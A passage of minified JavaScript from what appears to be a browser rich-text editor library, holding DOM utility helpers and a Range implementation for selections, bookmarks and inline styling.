            isEmptyInlineElement: function (e) {
                if (1 != e.nodeType || !dtd.$removeEmpty[e.tagName]) return 0;
                for (e = e.firstChild; e;) {
                    if (domUtils.isBookmarkNode(e)) return 0;
                    if (1 == e.nodeType && !domUtils.isEmptyInlineElement(e) || 3 == e.nodeType && !domUtils.isWhitespace(e)) return 0;
                    e = e.nextSibling
                }
                return 1
            },
            trimWhiteTextNode: function (i) {
                function e(e) {
                    for (var t; (t = i[e]) && 3 == t.nodeType && domUtils.isWhitespace(t);) i.removeChild(t)
                }

                e("firstChild"), e("lastChild")
            },
            mergeChild: function (e, t, i) {
                for (var n, o = domUtils.getElementsByTagName(e, e.tagName.toLowerCase()), r = 0; n = o[r++];) if (n.parentNode && !domUtils.isBookmarkNode(n)) if ("span" != n.tagName.toLowerCase()) domUtils.isSameElement(e, n) && domUtils.remove(n, !0); else {
                    if (e === n.parentNode && (domUtils.trimWhiteTextNode(e), 1 == e.childNodes.length)) {
                        e.style.cssText = n.style.cssText + ";" + e.style.cssText, domUtils.remove(n, !0);
                        continue
                    }
                    if (n.style.cssText = e.style.cssText + ";" + n.style.cssText, i) {
                        var a = i.style;
                        if (a) {
                            a = a.split(";");
                            for (var s, l = 0; s = a[l++];) n.style[utils.cssStyleToDomStyle(s.split(":")[0])] = s.split(":")[1]
                        }
                    }
                    domUtils.isSameStyle(n, e) && domUtils.remove(n, !0)
                }
            },
            getElementsByTagName: function (e, t, i) {
                if (i && utils.isString(i)) {
                    var n = i;
                    i = function (e) {
                        return domUtils.hasClass(e, n)
                    }
                }
                t = utils.trim(t).replace(/[ ]{2,}/g, " ").split(" ");
                for (var o, r = [], a = 0; o = t[a++];) for (var s, l = e.getElementsByTagName(o), d = 0; s = l[d++];) i && !i(s) || r.push(s);
                return r
            },
            mergeToParent: function (e) {
                for (var t = e.parentNode; t && dtd.$removeEmpty[t.tagName];) {
                    if (t.tagName == e.tagName || "A" == t.tagName) {
                        if (domUtils.trimWhiteTextNode(t), "SPAN" == t.tagName && !domUtils.isSameStyle(t, e) || "A" == t.tagName && "SPAN" == e.tagName) {
                            if (1 < t.childNodes.length || t !== e.parentNode) {
                                e.style.cssText = t.style.cssText + ";" + e.style.cssText, t = t.parentNode;
                                continue
                            }
                            t.style.cssText += ";" + e.style.cssText, "A" == t.tagName && (t.style.textDecoration = "underline")
                        }
                        if ("A" != t.tagName) {
                            t === e.parentNode && domUtils.remove(e, !0);
                            break
                        }
                    }
                    t = t.parentNode
                }
            },
            mergeSibling: function (e, t, i) {
                function n(e, t, i) {
                    var n;
                    if ((n = i[e]) && !domUtils.isBookmarkNode(n) && 1 == n.nodeType && domUtils.isSameElement(i, n)) {
                        for (; n.firstChild;) "firstChild" == t ? i.insertBefore(n.lastChild, i.firstChild) : i.appendChild(n.firstChild);
                        domUtils.remove(n)
                    }
                }

                t || n("previousSibling", "firstChild", e), i || n("nextSibling", "lastChild", e)
            },
            unSelectable: ie && browser.ie9below || browser.opera ? function (e) {
                e.onselectstart = function () {
                    return !1
                }, e.onclick = e.onkeyup = e.onkeydown = function () {
                    return !1
                }, e.unselectable = "on", e.setAttribute("unselectable", "on");
                for (var t, i = 0; t = e.all[i++];) switch (t.tagName.toLowerCase()) {
                    case"iframe":
                    case"textarea":
                    case"input":
                    case"select":
                        break;
                    default:
                        t.unselectable = "on", e.setAttribute("unselectable", "on")
                }
            } : function (e) {
                e.style.MozUserSelect = e.style.webkitUserSelect = e.style.msUserSelect = e.style.KhtmlUserSelect = "none"
            },
            removeAttributes: function (e, t) {
                t = utils.isArray(t) ? t : utils.trim(t).replace(/[ ]{2,}/g, " ").split(" ");
                for (var i, n = 0; i = t[n++];) {
                    switch (i = attrFix[i] || i) {
                        case"className":
                            e[i] = "";
                            break;
                        case"style":
                            e.style.cssText = "";
                            var o = e.getAttributeNode("style");
                            !browser.ie && o && e.removeAttributeNode(o)
                    }
                    e.removeAttribute(i)
                }
            },
            createElement: function (e, t, i) {
                return domUtils.setAttributes(e.createElement(t), i)
            },
            setAttributes: function (e, t) {
                for (var i in t) if (t.hasOwnProperty(i)) {
                    var n = t[i];
                    switch (i) {
                        case"class":
                            e.className = n;
                            break;
                        case"style":
                            e.style.cssText = e.style.cssText + ";" + n;
                            break;
                        case"innerHTML":
                            e[i] = n;
                            break;
                        case"value":
                            e.value = n;
                            break;
                        default:
                            e.setAttribute(attrFix[i] || i, n)
                    }
                }
                return e
            },
            getComputedStyle: function (e, t) {
                if (-1 < "width height top left".indexOf(t)) return e["offset" + t.replace(/^\w/, function (e) {
                    return e.toUpperCase()
                })] + "px";
                if (3 == e.nodeType && (e = e.parentNode), browser.ie && browser.version < 9 && "font-size" == t && !e.style.fontSize && !dtd.$empty[e.tagName] && !dtd.$nonChild[e.tagName]) {
                    var i = e.ownerDocument.createElement("span");
                    i.style.cssText = "padding:0;border:0;font-family:simsun;", i.innerHTML = ".", e.appendChild(i);
                    var n = i.offsetHeight;
                    return e.removeChild(i), i = null, n + "px"
                }
                try {
                    var o = domUtils.getStyle(e, t) || (window.getComputedStyle ? domUtils.getWindow(e).getComputedStyle(e, "").getPropertyValue(t) : (e.currentStyle || e.style)[utils.cssStyleToDomStyle(t)])
                } catch (e) {
                    return ""
                }
                return utils.transUnitToPx(utils.fixColor(t, o))
            },
            removeClasses: function (e, t) {
                t = utils.isArray(t) ? t : utils.trim(t).replace(/[ ]{2,}/g, " ").split(" ");
                for (var i, n = 0, o = e.className; i = t[n++];) o = o.replace(new RegExp("\\b" + i + "\\b"), "");
                (o = utils.trim(o).replace(/[ ]{2,}/g, " ")) ? e.className = o : domUtils.removeAttributes(e, ["class"])
            },
            addClass: function (e, t) {
                if (e) {
                    t = utils.trim(t).replace(/[ ]{2,}/g, " ").split(" ");
                    for (var i, n = 0, o = e.className; i = t[n++];) new RegExp("\\b" + i + "\\b").test(o) || (o += " " + i);
                    e.className = utils.trim(o)
                }
            },
            hasClass: function (e, t) {
                if (utils.isRegExp(t)) return t.test(e.className);
                t = utils.trim(t).replace(/[ ]{2,}/g, " ").split(" ");
                for (var i, n = 0, o = e.className; i = t[n++];) if (!new RegExp("\\b" + i + "\\b", "i").test(o)) return !1;
                return n - 1 == t.length
            },
            preventDefault: function (e) {
                e.preventDefault ? e.preventDefault() : e.returnValue = !1
            },
            removeStyle: function (e, t) {
                browser.ie ? ("color" == t && (t = "(^|;)" + t), e.style.cssText = e.style.cssText.replace(new RegExp(t + "[^:]*:[^;]+;?", "ig"), "")) : e.style.removeProperty ? e.style.removeProperty(t) : e.style.removeAttribute(utils.cssStyleToDomStyle(t)), e.style.cssText || domUtils.removeAttributes(e, ["style"])
            },
            getStyle: function (e, t) {
                var i = e.style[utils.cssStyleToDomStyle(t)];
                return utils.fixColor(t, i)
            },
            setStyle: function (e, t, i) {
                e.style[utils.cssStyleToDomStyle(t)] = i, utils.trim(e.style.cssText) || this.removeAttributes(e, "style")
            },
            setStyles: function (e, t) {
                for (var i in t) t.hasOwnProperty(i) && domUtils.setStyle(e, i, t[i])
            },
            removeDirtyAttr: function (e) {
                for (var t, i = 0, n = e.getElementsByTagName("*"); t = n[i++];) t.removeAttribute("_moz_dirty");
                e.removeAttribute("_moz_dirty")
            },
            getChildCount: function (e, t) {
                var i = 0, n = e.firstChild;
                for (t = t || function () {
                    return 1
                }; n;) t(n) && i++, n = n.nextSibling;
                return i
            },
            isEmptyNode: function (e) {
                return !e.firstChild || 0 == domUtils.getChildCount(e, function (e) {
                    return !domUtils.isBr(e) && !domUtils.isBookmarkNode(e) && !domUtils.isWhitespace(e)
                })
            },
            clearSelectedArr: function (e) {
                for (var t; t = e.pop();) domUtils.removeAttributes(t, ["class"])
            },
            scrollToView: function (e, t, i) {
                var n, o,
                    r = (n = t.document, (o = "CSS1Compat" == n.compatMode) ? n.documentElement.clientWidth : n.body.clientWidth, (o ? n.documentElement.clientHeight : n.body.clientHeight) || 0),
                    a = -1 * r + i;
                a += e.offsetHeight || 0, a += domUtils.getXY(e).y;
                var s = function (e) {
                    if ("pageXOffset" in e) return {x: e.pageXOffset || 0, y: e.pageYOffset || 0};
                    var t = e.document;
                    return {
                        x: t.documentElement.scrollLeft || t.body.scrollLeft || 0,
                        y: t.documentElement.scrollTop || t.body.scrollTop || 0
                    }
                }(t).y;
                (s < a || a < s - r) && t.scrollTo(0, a + (a < 0 ? -20 : 20))
            },
            isBr: function (e) {
                return 1 == e.nodeType && "BR" == e.tagName
            },
            isFillChar: function (e, t) {
                if (3 != e.nodeType) return !1;
                var i = e.nodeValue;
                return t ? new RegExp("^" + domUtils.fillChar).test(i) : !i.replace(new RegExp(domUtils.fillChar, "g"), "").length
            },
            isStartInblock: function (e) {
                var t, i = e.cloneRange(), n = 0, o = i.startContainer;
                if (1 == o.nodeType && o.childNodes[i.startOffset]) for (var r = (o = o.childNodes[i.startOffset]).previousSibling; r && domUtils.isFillChar(r);) r = (o = r).previousSibling;
                for (this.isFillChar(o, !0) && 1 == i.startOffset && (i.setStartBefore(o), o = i.startContainer); o && domUtils.isFillChar(o);) o = (t = o).previousSibling;
                for (t && (i.setStartBefore(t), o = i.startContainer), 1 == o.nodeType && domUtils.isEmptyNode(o) && 1 == i.startOffset && i.setStart(o, 0).collapse(!0); !i.startOffset;) {
                    if (o = i.startContainer, domUtils.isBlockElm(o) || domUtils.isBody(o)) {
                        n = 1;
                        break
                    }
                    var a;
                    if (r = i.startContainer.previousSibling) {
                        for (; r && domUtils.isFillChar(r);) r = (a = r).previousSibling;
                        a ? i.setStartBefore(a) : i.setStartBefore(i.startContainer)
                    } else i.setStartBefore(i.startContainer)
                }
                return n && !domUtils.isBody(i.startContainer) ? 1 : 0
            },
            isEmptyBlock: function (e, t) {
                if (1 != e.nodeType) return 0;
                if (t = t || new RegExp("[  \t\r\n" + domUtils.fillChar + "]", "g"), 0 < e[browser.ie ? "innerText" : "textContent"].replace(t, "").length) return 0;
                for (var i in dtd.$isNotEmpty) if (e.getElementsByTagName(i).length) return 0;
                return 1
            },
            setViewportOffset: function (e, t) {
                var i = 0 | parseInt(e.style.left), n = 0 | parseInt(e.style.top), o = e.getBoundingClientRect(),
                    r = t.left - o.left, a = t.top - o.top;
                r && (e.style.left = i + r + "px"), a && (e.style.top = n + a + "px")
            },
            fillNode: function (e, t) {
                var i = browser.ie ? e.createTextNode(domUtils.fillChar) : e.createElement("br");
                t.innerHTML = "", t.appendChild(i)
            },
            moveChild: function (e, t, i) {
                for (; e.firstChild;) i && t.firstChild ? t.insertBefore(e.lastChild, t.firstChild) : t.appendChild(e.firstChild)
            },
            hasNoAttributes: function (e) {
                return browser.ie ? /^<\w+\s*?>/.test(e.outerHTML) : 0 == e.attributes.length
            },
            isCustomeNode: function (e) {
                return 1 == e.nodeType && e.getAttribute("_ue_custom_node_")
            },
            isTagNode: function (e, t) {
                return 1 == e.nodeType && new RegExp("\\b" + e.tagName + "\\b", "i").test(t)
            },
            filterNodeList: function (e, t, i) {
                var n = [];
                if (!utils.isFunction(t)) {
                    var o = t;
                    t = function (e) {
                        return -1 != utils.indexOf(utils.isArray(o) ? o : o.split(" "), e.tagName.toLowerCase())
                    }
                }
                return utils.each(e, function (e) {
                    t(e) && n.push(e)
                }), 0 == n.length ? null : 1 != n.length && i ? n : n[0]
            },
            isInNodeEndBoundary: function (e, t) {
                var i = e.startContainer;
                if (3 == i.nodeType && e.startOffset != i.nodeValue.length) return 0;
                if (1 == i.nodeType && e.startOffset != i.childNodes.length) return 0;
                for (; i !== t;) {
                    if (i.nextSibling) return 0;
                    i = i.parentNode
                }
                return 1
            },
            isBoundaryNode: function (e, t) {
                for (; !domUtils.isBody(e);) if (e !== (e = e.parentNode)[t]) return !1;
                return !0
            },
            fillHtml: browser.ie11below ? "&nbsp;" : "<br/>"
        }, fillCharReg = new RegExp(domUtils.fillChar, "g"), si, qi, ri, xi;

    function ui(e) {
        return !e.collapsed && 1 == e.startContainer.nodeType && e.startContainer === e.endContainer && e.endOffset - e.startOffset == 1
    }

    function vi(e, t, i, n) {
        var o;
        return 1 == t.nodeType && (dtd.$empty[t.tagName] || dtd.$nonChild[t.tagName]) && (i = domUtils.getNodeIndex(t) + (e ? 0 : 1), t = t.parentNode), e ? (n.startContainer = t, n.startOffset = i, n.endContainer || n.collapse(!0)) : (n.endContainer = t, n.endOffset = i, n.startContainer || n.collapse(!1)), (o = n).collapsed = o.startContainer && o.endContainer && o.startContainer === o.endContainer && o.startOffset == o.endOffset, n
    }

    function wi(e, t) {
        var i, n, o = e.startContainer, r = e.endContainer, a = e.startOffset, s = e.endOffset, l = e.document,
            d = l.createDocumentFragment();
        if (1 == o.nodeType && (o = o.childNodes[a] || (i = o.appendChild(l.createTextNode("")))), 1 == r.nodeType && (r = r.childNodes[s] || (n = r.appendChild(l.createTextNode("")))), o === r && 3 == o.nodeType) return d.appendChild(l.createTextNode(o.substringData(a, s - a))), t && (o.deleteData(a, s - a), e.collapse(!0)), d;
        for (var c, u, m = d, f = domUtils.findParents(o, !0), h = domUtils.findParents(r, !0), p = 0; f[p] == h[p];) p++;
        for (var g, b = p; g = f[b]; b++) {
            for (c = g.nextSibling, g == o ? i || (3 == e.startContainer.nodeType ? (m.appendChild(l.createTextNode(o.nodeValue.slice(a))), t && o.deleteData(a, o.nodeValue.length - a)) : m.appendChild(t ? o : o.cloneNode(!0))) : (u = g.cloneNode(!1), m.appendChild(u)); c && c !== r && c !== h[b];) g = c.nextSibling, m.appendChild(t ? c : c.cloneNode(!0)), c = g;
            m = u
        }
        m = d, f[p] || (m.appendChild(f[p - 1].cloneNode(!1)), m = m.firstChild);
        var v;
        for (b = p; v = h[b]; b++) {
            if (c = v.previousSibling, v == r ? n || 3 != e.endContainer.nodeType || (m.appendChild(l.createTextNode(r.substringData(0, s))), t && r.deleteData(0, s)) : (u = v.cloneNode(!1), m.appendChild(u)), b != p || !f[p]) for (; c && c !== o;) v = c.previousSibling, m.insertBefore(t ? c : c.cloneNode(!0), m.firstChild), c = v;
            m = u
        }
        return t && e.setStartBefore(h[p] ? f[p] ? h[p] : f[p - 1] : h[p - 1]).collapse(!0), i && domUtils.remove(i), n && domUtils.remove(n), d
    }

    function yi(e, t) {
        try {
            if (si && domUtils.inDoc(si, e)) if (si.nodeValue.replace(fillCharReg, "").length) si.nodeValue = si.nodeValue.replace(fillCharReg, ""); else {
                var i = si.parentNode;
                for (domUtils.remove(si); i && domUtils.isEmptyInlineElement(i) && (browser.safari ? !(domUtils.getPosition(i, t) & domUtils.POSITION_CONTAINS) : !i.contains(t));) si = i.parentNode, domUtils.remove(i), i = si
            }
        } catch (e) {
        }
    }

    function zi(e, t) {
        var i;
        for (e = e[t]; e && domUtils.isFillChar(e);) i = e[t], domUtils.remove(e), e = i
    }

    function im(e, t) {
        var i = domUtils.getNodeIndex;
        (e = e.duplicate()).collapse(t);
        var n = e.parentElement();
        if (!n.hasChildNodes()) return {container: n, offset: 0};
        for (var o, r, a = n.children, s = e.duplicate(), l = 0, d = a.length - 1, c = -1; l <= d;) {
            o = a[c = Math.floor((l + d) / 2)], s.moveToElementText(o);
            var u = s.compareEndPoints("StartToStart", e);
            if (0 < u) d = c - 1; else {
                if (!(u < 0)) return {container: n, offset: i(o)};
                l = c + 1
            }
        }
        if (-1 == c) {
            if (s.moveToElementText(n), s.setEndPoint("StartToStart", e), r = s.text.replace(/(\r\n|\r)/g, "\n").length, a = n.childNodes, !r) return {
                container: o = a[a.length - 1],
                offset: o.nodeValue.length
            };
            for (var m = a.length; 0 < r;) r -= a[--m].nodeValue.length;
            return {container: a[m], offset: -r}
        }
        if (s.collapse(0 < u), s.setEndPoint(0 < u ? "StartToStart" : "EndToStart", e), !(r = s.text.replace(/(\r\n|\r)/g, "\n").length)) return dtd.$empty[o.tagName] || dtd.$nonChild[o.tagName] ? {
            container: n,
            offset: i(o) + (0 < u ? 0 : 1)
        } : {container: o, offset: 0 < u ? 0 : o.childNodes.length};
        for (; 0 < r;) try {
            var f = o;
            r -= (o = o[0 < u ? "previousSibling" : "nextSibling"]).nodeValue.length
        } catch (e) {
            return {container: n, offset: i(f)}
        }
        return {container: o, offset: 0 < u ? -r : o.nodeValue.length + r}
    }

    function km(e) {
        var t;
        try {
            t = e.getNative().createRange()
        } catch (e) {
            return null
        }
        var i = t.item ? t.item(0) : t.parentElement();
        return (i.ownerDocument || i) === e.document ? t : null
    }

    qi = 0, ri = domUtils.fillChar, xi = dom.Range = function (e) {
        var t = this;
        t.startContainer = t.startOffset = t.endContainer = t.endOffset = null, t.document = e, t.collapsed = !0
    }, xi.prototype = {
        cloneContents: function () {
            return this.collapsed ? null : wi(this, 0)
        }, deleteContents: function () {
            var e;
            return this.collapsed || wi(this, 1), browser.webkit && (3 != (e = this.startContainer).nodeType || e.nodeValue.length || (this.setStartBefore(e).collapse(!0), domUtils.remove(e))), this
        }, extractContents: function () {
            return this.collapsed ? null : wi(this, 2)
        }, setStart: function (e, t) {
            return vi(!0, e, t, this)
        }, setEnd: function (e, t) {
            return vi(!1, e, t, this)
        }, setStartAfter: function (e) {
            return this.setStart(e.parentNode, domUtils.getNodeIndex(e) + 1)
        }, setStartBefore: function (e) {
            return this.setStart(e.parentNode, domUtils.getNodeIndex(e))
        }, setEndAfter: function (e) {
            return this.setEnd(e.parentNode, domUtils.getNodeIndex(e) + 1)
        }, setEndBefore: function (e) {
            return this.setEnd(e.parentNode, domUtils.getNodeIndex(e))
        }, setStartAtFirst: function (e) {
            return this.setStart(e, 0)
        }, setStartAtLast: function (e) {
            return this.setStart(e, 3 == e.nodeType ? e.nodeValue.length : e.childNodes.length)
        }, setEndAtFirst: function (e) {
            return this.setEnd(e, 0)
        }, setEndAtLast: function (e) {
            return this.setEnd(e, 3 == e.nodeType ? e.nodeValue.length : e.childNodes.length)
        }, selectNode: function (e) {
            return this.setStartBefore(e).setEndAfter(e)
        }, selectNodeContents: function (e) {
            return this.setStart(e, 0).setEndAtLast(e)
        }, cloneRange: function () {
            var e = this;
            return new xi(e.document).setStart(e.startContainer, e.startOffset).setEnd(e.endContainer, e.endOffset)
        }, collapse: function (e) {
            var t = this;
            return e ? (t.endContainer = t.startContainer, t.endOffset = t.startOffset) : (t.startContainer = t.endContainer, t.startOffset = t.endOffset), t.collapsed = !0, t
        }, shrinkBoundary: function (e) {
            var t, i = this, n = i.collapsed;

            function o(e) {
                return 1 == e.nodeType && !domUtils.isBookmarkNode(e) && !dtd.$empty[e.tagName] && !dtd.$nonChild[e.tagName]
            }

            for (; 1 == i.startContainer.nodeType && (t = i.startContainer.childNodes[i.startOffset]) && o(t);) i.setStart(t, 0);
            if (n) return i.collapse(!0);
            if (!e) for (; 1 == i.endContainer.nodeType && 0 < i.endOffset && (t = i.endContainer.childNodes[i.endOffset - 1]) && o(t);) i.setEnd(t, t.childNodes.length);
            return i
        }, getCommonAncestor: function (e, t) {
            var i = this.startContainer, n = this.endContainer;
            return i === n ? (!e || !ui(this) || 1 != (i = i.childNodes[this.startOffset]).nodeType) && t && 3 == i.nodeType ? i.parentNode : i : domUtils.getCommonAncestor(i, n)
        }, trimBoundary: function (e) {
            this.txtToElmBoundary();
            var t = this.startContainer, i = this.startOffset, n = this.collapsed, o = this.endContainer;
            if (3 == t.nodeType) {
                if (0 == i) this.setStartBefore(t); else if (i >= t.nodeValue.length) this.setStartAfter(t); else {
                    var r = domUtils.split(t, i);
                    t === o ? this.setEnd(r, this.endOffset - i) : t.parentNode === o && (this.endOffset += 1), this.setStartBefore(r)
                }
                if (n) return this.collapse(!0)
            }
            return e || (i = this.endOffset, 3 == (o = this.endContainer).nodeType && (0 == i ? this.setEndBefore(o) : (i < o.nodeValue.length && domUtils.split(o, i), this.setEndAfter(o)))), this
        }, txtToElmBoundary: function (e) {
            function t(e, t) {
                var i = e[t + "Container"], n = e[t + "Offset"];
                3 == i.nodeType && (n ? n >= i.nodeValue.length && e["set" + t.replace(/(\w)/, function (e) {
                    return e.toUpperCase()
                }) + "After"](i) : e["set" + t.replace(/(\w)/, function (e) {
                    return e.toUpperCase()
                }) + "Before"](i))
            }

            return !e && this.collapsed || (t(this, "start"), t(this, "end")), this
        }, insertNode: function (e) {
            var t = e, i = 1;
            11 == e.nodeType && (t = e.firstChild, i = e.childNodes.length), this.trimBoundary(!0);
            var n = this.startContainer, o = this.startOffset, r = n.childNodes[o];
            return r ? n.insertBefore(e, r) : n.appendChild(e), t.parentNode === this.endContainer && (this.endOffset = this.endOffset + i), this.setStartBefore(t)
        }, setCursor: function (e, t) {
            return this.collapse(!e).select(t)
        }, createBookmark: function (e, t) {
            var i, n = this.document.createElement("span");
            return n.style.cssText = "display:none;line-height:0px;", n.appendChild(this.document.createTextNode("‍")), n.id = "_baidu_bookmark_start_" + (t ? "" : qi++), this.collapsed || ((i = n.cloneNode(!0)).id = "_baidu_bookmark_end_" + (t ? "" : qi++)), this.insertNode(n), i && this.collapse().insertNode(i).setEndBefore(i), this.setStartAfter(n), {
                start: e ? n.id : n,
                end: i ? e ? i.id : i : null,
                id: e
            }
        }, moveToBookmark: function (e) {
            var t = e.id ? this.document.getElementById(e.start) : e.start,
                i = e.end && e.id ? this.document.getElementById(e.end) : e.end;
            return this.setStartBefore(t), domUtils.remove(t), i ? (this.setEndBefore(i), domUtils.remove(i)) : this.collapse(!0), this
        }, enlarge: function (e, t) {
            var i, n, o = domUtils.isBody, r = this.document.createTextNode("");
            if (e) {
                for (i = 1 == (n = this.startContainer).nodeType ? n = n.childNodes[this.startOffset] ? n.childNodes[this.startOffset] : (n.appendChild(r), r) : n; ;) {
                    if (domUtils.isBlockElm(n)) {
                        for (n = i; (i = n.previousSibling) && !domUtils.isBlockElm(i);) n = i;
                        this.setStartBefore(n);
                        break
                    }
                    n = (i = n).parentNode
                }
                for (i = 1 == (n = this.endContainer).nodeType ? ((i = n.childNodes[this.endOffset]) ? n.insertBefore(r, i) : n.appendChild(r), n = r) : n; ;) {
                    if (domUtils.isBlockElm(n)) {
                        for (n = i; (i = n.nextSibling) && !domUtils.isBlockElm(i);) n = i;
                        this.setEndAfter(n);
                        break
                    }
                    n = (i = n).parentNode
                }
                r.parentNode === this.endContainer && this.endOffset--, domUtils.remove(r)
            }
            if (!this.collapsed) {
                for (; !(0 != this.startOffset || t && t(this.startContainer) || o(this.startContainer));) this.setStartBefore(this.startContainer);
                for (; !(this.endOffset != (1 == this.endContainer.nodeType ? this.endContainer.childNodes.length : this.endContainer.nodeValue.length) || t && t(this.endContainer) || o(this.endContainer));) this.setEndAfter(this.endContainer)
            }
            return this
        }, enlargeToBlockElm: function (e) {
            for (; !domUtils.isBlockElm(this.startContainer);) this.setStartBefore(this.startContainer);
            if (!e) for (; !domUtils.isBlockElm(this.endContainer);) this.setEndAfter(this.endContainer);
            return this
        }, adjustmentBoundary: function () {
            if (!this.collapsed) {
                for (; !domUtils.isBody(this.startContainer) && this.startOffset == this.startContainer[3 == this.startContainer.nodeType ? "nodeValue" : "childNodes"].length && this.startContainer[3 == this.startContainer.nodeType ? "nodeValue" : "childNodes"].length;) this.setStartAfter(this.startContainer);
                for (; !domUtils.isBody(this.endContainer) && !this.endOffset && this.endContainer[3 == this.endContainer.nodeType ? "nodeValue" : "childNodes"].length;) this.setEndBefore(this.endContainer)
            }
            return this
        }, applyInlineStyle: function (t, e, i) {
            if (this.collapsed) return this;
            this.trimBoundary().enlarge(!1, function (e) {
                return 1 == e.nodeType && domUtils.isBlockElm(e)
            }).adjustmentBoundary();

            function n(e) {
                return 1 == e.nodeType ? "br" != e.tagName.toLowerCase() : !domUtils.isWhitespace(e)
            }

            for (var o, r, a = this.createBookmark(), s = a.end, l = domUtils.getNextDomNode(a.start, !1, n), d = this.cloneRange(); l && domUtils.getPosition(l, s) & domUtils.POSITION_PRECEDING;) if (3 == l.nodeType || dtd[t][l.tagName]) {
                for (d.setStartBefore(l), o = l; o && (3 == o.nodeType || dtd[t][o.tagName]) && o !== s;) r = o, o = domUtils.getNextDomNode(o, 1 == o.nodeType, null, function (e) {
                    return dtd[t][e.tagName]
                });
                var c, u, m = d.setEndAfter(r).extractContents();
                if (i && 0 < i.length) {
                    var f, h;
                    h = f = i[0].cloneNode(!1);
                    for (var p, g = 1; p = i[g++];) f.appendChild(p.cloneNode(!1)), f = f.firstChild;
                    c = f
                } else c = d.document.createElement(t);
                if (e && domUtils.setAttributes(c, e), c.appendChild(m), d.insertNode(i ? h : c), "span" == t && e.style && /text\-decoration/.test(e.style) && (u = domUtils.findParentByTagName(c, "a", !0)) ? (domUtils.setAttributes(u, e), domUtils.remove(c, !0), c = u) : (domUtils.mergeSibling(c), domUtils.clearEmptySibling(c)), domUtils.mergeChild(c, e), l = domUtils.getNextDomNode(c, !1, n), domUtils.mergeToParent(c), o === s) break
            } else l = domUtils.getNextDomNode(l, !0, n);
            return this.moveToBookmark(a)
        }, removeInlineStyle: function (e) {
            if (this.collapsed) return this;
            e = utils.isArray(e) ? e : [e], this.shrinkBoundary().adjustmentBoundary();
            for (var t = this.startContainer, i = this.endContainer; ;) {
                if (1 == t.nodeType) {
                    if (-1 < utils.indexOf(e, t.tagName.toLowerCase())) break;
                    if ("body" == t.tagName.toLowerCase()) {
                        t = null;
                        break
                    }
                }
                t = t.parentNode
            }
            for (; ;) {
                if (1 == i.nodeType) {
                    if (-1 < utils.indexOf(e, i.tagName.toLowerCase())) break;
                    if ("body" == i.tagName.toLowerCase()) {
                        i = null;
                        break
                    }
                }
                i = i.parentNode
            }
            var n, o, r = this.createBookmark();
            t && (n = (o = this.cloneRange().setEndBefore(r.start).setStartBefore(t)).extractContents(), o.insertNode(n), domUtils.clearEmptySibling(t, !0), t.parentNode.insertBefore(r.start, t)), i && (n = (o = this.cloneRange().setStartAfter(r.end).setEndAfter(i)).extractContents(), o.insertNode(n), domUtils.clearEmptySibling(i, !1, !0), i.parentNode.insertBefore(r.end, i.nextSibling));
            for (var a, s = domUtils.getNextDomNode(r.start, !1, function (e) {
                return 1 == e.nodeType
            }); s && s !== r.end;) a = domUtils.getNextDomNode(s, !0, function (e) {
                return 1 == e.nodeType
            }), -1 < utils.indexOf(e, s.tagName.toLowerCase()) && domUtils.remove(s, !0), s = a;
            return this.moveToBookmark(r)
        }, getClosedNode: function () {
            var e;
            if (!this.collapsed) {
                var t = this.cloneRange().adjustmentBoundary().shrinkBoundary();
                if (ui(t)) {
                    var i = t.startContainer.childNodes[t.startOffset];
                    i && 1 == i.nodeType && (dtd.$empty[i.tagName] || dtd.$nonChild[i.tagName]) && (e = i)
                }
            }
            return e
        }, select: browser.ie ? function (e, t) {
            var i;
            this.collapsed || this.shrinkBoundary();
            var n = this.getClosedNode();
            if (n && !t) {
                try {
                    (i = this.document.body.createControlRange()).addElement(n), i.select()
                } catch (e) {
                }
                return this
            }
            var o, r = this.createBookmark(), a = r.start;
            if ((i = this.document.body.createTextRange()).moveToElementText(a), i.moveStart("character", 1), this.collapsed) {
                if (!e && 3 != this.startContainer.nodeType) {
                    var s = this.document.createTextNode(ri), l = this.document.createElement("span");
                    l.appendChild(this.document.createTextNode(ri)), a.parentNode.insertBefore(l, a), a.parentNode.insertBefore(s, a), yi(this.document, s), si = s, zi(l, "previousSibling"), zi(a, "nextSibling"), i.moveStart("character", -1), i.collapse(!0)
                }
            } else {
                var d = this.document.body.createTextRange();
                o = r.end, d.moveToElementText(o), i.setEndPoint("EndToEnd", d)
            }
            this.moveToBookmark(r), l && domUtils.remove(l);
            try {
                i.select()
            } catch (e) {
            }
            return this
        } : function (e) {
            var t, n, i = domUtils.getWindow(this.document), o = i.getSelection();
            if (browser.gecko ? this.document.body.focus() : i.focus(), o) {
                if (o.removeAllRanges(), this.collapsed && !e) {
                    var r = this.startContainer, a = r;
                    1 == r.nodeType && (a = r.childNodes[this.startOffset]), 3 == r.nodeType && this.startOffset || (a ? a.previousSibling && 3 == a.previousSibling.nodeType : r.lastChild && 3 == r.lastChild.nodeType) || (t = this.document.createTextNode(ri), this.insertNode(t), yi(this.document, t), zi(t, "previousSibling"), zi(t, "nextSibling"), si = t, this.setStart(t, browser.webkit ? 1 : 0).collapse(!0))
                }
                var s = this.document.createRange();
                if (this.collapsed && browser.opera && 1 == this.startContainer.nodeType) if (a = this.startContainer.childNodes[this.startOffset]) {
                    for (; a && domUtils.isBlockElm(a) && 1 == a.nodeType && a.childNodes[0];) a = a.childNodes[0];
                    a && this.setStartBefore(a).collapse(!0)
                } else (a = this.startContainer.lastChild) && domUtils.isBr(a) && this.setStartBefore(a).collapse(!0);
                l((n = this).startContainer, n.startOffset, "start"), l(n.endContainer, n.endOffset, "end"), s.setStart(this.startContainer, this.startOffset), s.setEnd(this.endContainer, this.endOffset), o.addRange(s)
            }

            function l(e, t, i) {
                3 == e.nodeType && e.nodeValue.length < t && (n[i + "Offset"] = e.nodeValue.length)
            }

            return this
        }, scrollToView: function (e, t) {
            e = e ? window : domUtils.getWindow(this.document);
            var i = this.document.createElement("span");
            return i.innerHTML = "&nbsp;", this.cloneRange().insertNode(i), domUtils.scrollToView(i, e, t), domUtils.remove(i), this
        }, inFillChar: function () {
            var e = this.startContainer;
            return !(!this.collapsed || 3 != e.nodeType || e.nodeValue.replace(new RegExp("^" + domUtils.fillChar), "").length + 1 != e.nodeValue.length)
        }, createAddress: function (e, d) {
            var t = {}, c = this;

            function i(e) {
                for (var t, i = e ? c.startContainer : c.endContainer, n = domUtils.findParents(i, !0, function (e) {
                    return !domUtils.isBody(e)
                }), o = [], r = 0; t = n[r++];) o.push(domUtils.getNodeIndex(t, d));
                var a = 0;
                if (d) if (3 == i.nodeType) {
                    for (var s = i.previousSibling; s && 3 == s.nodeType;) a += s.nodeValue.replace(fillCharReg, "").length, s = s.previousSibling;
